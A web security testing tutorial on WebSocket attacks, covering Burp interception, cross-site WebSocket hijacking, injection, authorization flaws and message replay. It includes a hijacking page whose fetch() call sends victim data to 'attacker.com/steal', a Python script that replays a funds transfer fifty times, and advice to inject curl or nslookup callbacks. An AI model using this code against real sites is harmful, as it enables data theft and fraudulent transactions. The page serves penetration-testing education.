WebSocket Security Testing
WebSocket connections maintain a persistent bidirectional channel between browser and server, bypassing the request-response model of HTTP. Security testing for WebSockets targets the handshake, message handling, and authentication mechanisms. Vulnerabilities in WebSocket implementations lead to injection attacks (SQLi, command injection, XSS through reflected messages), cross-site WebSocket hijacking (CSWSH), and authentication bypass. Many WAFs and security tools do not inspect WebSocket traffic, making these vulnerabilities harder to detect with automated scanning.
Topics covered on this page:
- WebSocket handshake interception and manipulation
- Cross-Site WebSocket Hijacking (CSWSH)
- Injection attacks through WebSocket messages (SQLi, command injection)
- Authentication and authorization testing
- Message manipulation and replay attacks
- Testing tools: Burp Suite, wscat, websocat
WebSocket Fundamentals for Testing
WebSocket connections start with an HTTP Upgrade handshake. The client sends a GET request with Upgrade: websocket and Connection: Upgrade headers. The server responds with 101 Switching Protocols and the connection upgrades to a persistent TCP socket. After the handshake, all communication happens over WebSocket frames, not HTTP requests.
Identify WebSocket endpoints by looking for:
ws://orwss://URLs in JavaScript sourcenew WebSocket()calls in client-side codeUpgrade: websocketheaders in proxy history- Socket.IO, SockJS, or SignalR libraries (wrap WebSocket with fallbacks)
Intercepting WebSocket Traffic with Burp Suite
Burp Suite captures WebSocket handshakes in the HTTP history tab and individual messages in the WebSockets history tab. To test:
- Browse the application with Burp as proxy
- Trigger the feature that uses WebSockets
- Check Proxy > WebSockets history for captured messages
- Right-click a message to send it to Repeater for modification and replay
Burp can intercept and modify WebSocket messages in real time: enable interception in Proxy > Options > WebSocket interception rules. This allows you to modify messages before they reach the server, testing how the application handles unexpected input.
For endpoints that require a handshake with specific cookies or tokens, use Burp's session handling rules to keep the WebSocket connection authenticated.
Command-Line WebSocket Testing
wscat provides a command-line WebSocket client for manual testing. Connect and send messages interactively:
Connected (press CTRL+C to quit)
> {"action": "ping"}
< {"status": "pong"}
Explain command
| -c | Connect to the specified WebSocket URL. |
With custom headers (for authentication):
websocat is an alternative with more features including piping, TLS options, and binary frame support:
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH exploits missing Origin validation on the WebSocket handshake. The WebSocket protocol does not enforce same-origin policy: any web page can open a WebSocket to any server. If the server does not validate the Origin header during the handshake, an attacker's page can establish a WebSocket connection to the target application using the victim's cookies.
Test by connecting from a different origin and checking if the handshake succeeds:
If the connection succeeds with an external Origin, the application is vulnerable. Exploit with a malicious HTML page that the victim visits:
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
ws.send(JSON.stringify({action: 'getProfile'}));
};
ws.onmessage = function(event) {
// Exfiltrate data to attacker server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
};
</script>
The victim's browser sends their session cookies with the WebSocket handshake. The attacker's page can then send messages as the victim and read responses. This is the WebSocket equivalent of CSRF but with bidirectional data access.
SQL Injection via WebSocket Messages
WebSocket messages that include user input in database queries are vulnerable to SQLi just like HTTP parameters. Test by injecting SQL payloads into message fields:
If the response contains data from other rows or the behavior changes with boolean conditions, the endpoint is vulnerable. Standard SQLi techniques apply: see SQL injection for full exploitation methods. The difference is delivery through WebSocket frames instead of HTTP parameters.
Command Injection via WebSocket Messages
Applications that pass WebSocket message content to system commands are vulnerable to OS command injection. Common patterns: file operations, log processing, system management panels, chat applications that process commands.
For blind injection where the response does not reflect command output, use out-of-band callbacks. Inject a curl or nslookup to your listener and watch for the connection. See out-of-band data exfiltration for callback techniques. For bypass techniques when basic payloads are filtered, see command injection bypasses.
Authentication and Authorization Testing
WebSocket authentication is often weaker than HTTP authentication because the persistent connection makes per-message authentication expensive. Common weaknesses:
- Token in URL:
ws://target.com/ws?token=abc123leaks the token in logs, Referer headers, and browser history - No re-authentication: session validated during handshake but never re-checked. If the session expires or is revoked, the WebSocket stays open
- Missing authorization per message: handshake checks if the user is logged in, but individual message handlers do not check if the user is authorized for that specific action
- No CSRF protection on handshake: no CSRF token validation, enabling CSWSH
Test authorization by authenticating as a low-privilege user and sending messages that should require higher privileges:
Message Manipulation and Replay
WebSocket messages can be captured, modified, and replayed. Useful attacks:
- Price manipulation: change amount fields in purchase or transfer messages
- ID tampering: change user IDs to access other accounts (IDOR over WebSocket)
- Replay: resend a captured message to repeat an action (transfer funds, post messages)
- Race conditions: send the same message rapidly over multiple connections. See race condition exploitation
Automate replay with a script that sends captured messages in rapid succession:
import asyncio
import websockets
async def replay(url, cookie, message, count=50):
async with websockets.connect(url, extra_headers={'Cookie': cookie}) as ws:
tasks = [ws.send(message) for _ in range(count)]
await asyncio.gather(*tasks)
for _ in range(count):
response = await ws.recv()
print(response)
asyncio.run(replay(
'ws://$TARGET_IP:$PORT/ws',
'session=<TOKEN>',
'{"action": "transfer", "amount": 100, "to": "attacker"}'
))
References
-
PortSwigger: WebSocket SecurityTOOL: PortSwigger: WebSocket Security, portswigger.net/web-security/websockets (opens in new tab)
WebSocket security testing methodology with labs for CSWSH and message manipulation.
-
Command-line WebSocket client with piping, TLS, and binary frame support.